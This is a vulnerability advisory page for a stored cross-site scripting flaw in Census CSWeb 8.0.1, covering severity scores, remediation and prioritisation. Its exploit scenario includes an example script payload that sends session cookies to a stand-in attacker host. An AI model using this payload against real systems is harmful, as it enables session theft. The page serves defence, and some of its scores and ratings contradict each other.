Skip to main content

Csweb CVE-2025-60948

| EUVDEUVD-2025-208952 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-23 cisa-cg
5.1
CVSS 4.0 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

Multiple risk signals converge to indicate moderate but actionable real-world risk. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N) reflects: network-based attack surface (AV:N), low attack complexity (AC:L), requirement for prior authentication (PR:L), and user interaction needed (UI:R), with limited impact—only confidentiality and integrity of user data affected, no availability impact (A:N). The 4.6 CVSS score undersells risk in two ways: first, stored XSS can affect multiple victims through a single malicious input, and second, authenticated users may have elevated privileges or access to sensitive data. The existence of publicly available proof-of-concept code on GitHub (hx381/cspro-exploits repository) significantly increases exploitation probability and suggests active research or weaponization. CISA's inclusion of this CVE in their coordination list (cisa-cg tag, reference to CSAF advisory va-26-082-01.json) indicates government awareness and likely organizational attention. The vulnerability is automatable (stored payload executes automatically on page load for subsequent users) and moderately impactful for confidentiality/integrity. Exploitation requires authentication and victim interaction (visiting a page with the payload), which reduces opportunistic mass exploitation but enables targeted campaigns within organizations. This is a genuine priority for Census CSWeb users, particularly those in government or statistical agencies handling sensitive data, but lower urgency than unauthenticated remote code execution vulnerabilities.

Exploit ScenarioDerived

An authenticated internal user with legitimate access to Census CSWeb submits a survey response containing malicious JavaScript payload (e.g., <script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>) in a text field. The application stores this payload in the database without sanitization. When other authenticated users (such as survey administrators or analysts) view the stored data or generate reports containing that field, the JavaScript executes in their browser context with their session credentials, allowing the attacker to steal authentication tokens, exfiltrate sensitive survey data, or perform actions on behalf of the victim user. A public proof-of-concept exploit is available on GitHub, reducing the barrier to exploitation for threat actors with organizational access or insider knowledge.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 23, 2026

Census CSWeb 8.0.1 contains a stored cross-site scripting (XSS) vulnerability in user-supplied fields that allows authenticated attackers to inject and persist malicious JavaScript code, which executes when victims access affected pages in their browsers. The vulnerability affects CSWeb versions prior to 8.1.0 alpha, and a public proof-of-concept exploit is available on GitHub, increasing real-world exploitation risk. While the CVSS score of 4.6 reflects moderate severity, the combination of authenticated access requirement, user interaction dependency, and published exploit code suggests this poses a meaningful but contained threat to Census CSWeb deployments.

RemediationAI

Immediately upgrade Census CSWeb to version 8.1.0 alpha or later once released as stable, as this version contains the fix for stored XSS in user-supplied fields. Until patching is feasible, implement the following compensating controls: enforce strict Content Security Policy (CSP) headers prohibiting inline script execution (script-src 'self'), enable HTTP-only and Secure flags on session cookies to prevent JavaScript access, and deploy a Web Application Firewall (WAF) with rules to detect and block script injection patterns in user input fields. Additionally, restrict network access to CSWeb instances to trusted IP ranges and enforce strong authentication with multi-factor authentication (MFA) to reduce the authenticated attacker surface. Database-level inspection for existing malicious payloads in user-supplied fields should be conducted, and affected records sanitized or flagged for review. Monitor application logs for suspicious activity patterns consistent with XSS exploitation (unusual script tags in form submissions, abnormal session activity). Refer to the Census CSWeb security advisory and the GitHub commit history for detailed patching instructions.

Affected VersionsENISA

CSWeb 8.0.1 <8.1.0 alpha
CSWeb patch: 8.1.0 alpha

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a classic stored XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) in Census CSWeb, a data collection and processing application used in statistical surveys. The root cause is insufficient input validation and output encoding in user-supplied fields within CSWeb 8.0.1 (CPE: cpe:2.3:a:census:csweb:*:*:*:*:*:*:*:*). Rather than sanitizing or encoding user input before storage in the database, the application directly renders user-controlled data in HTML contexts without proper escaping, allowing attackers to break out of intended data contexts and inject arbitrary JavaScript. This occurs in web form fields where users legitimately input survey data, but no Content Security Policy (CSP) or output encoding mitigates the risk. The flaw is particularly dangerous because it affects authenticated users with legitimate access to the application, who may not expect malicious payloads in peer-submitted data.

Know when Csweb gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Patch available
Apr 16, 2026 - 05:29 EUVD
8.1.0
PoC Detected
Mar 25, 2026 - 21:07 vuln.today
Public exploit code
CVE Published
Mar 23, 2026 - 21:00 nvd
MEDIUM 5.1

DescriptionCVE.org

Census CSWeb 8.0.1 allows stored cross-site scripting in user supplied fields. A remote, authenticated attacker could store malicious javascript that executes in a victim's browser. Fixed in 8.1.0 alpha.

Executive ViewAI

Why It Matters

Organizations using Census CSWeb 8.0.1 should be aware of moderate risk from CVE-2025-60948, a cross-site scripting vulnerability rated CVSS 5.1. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy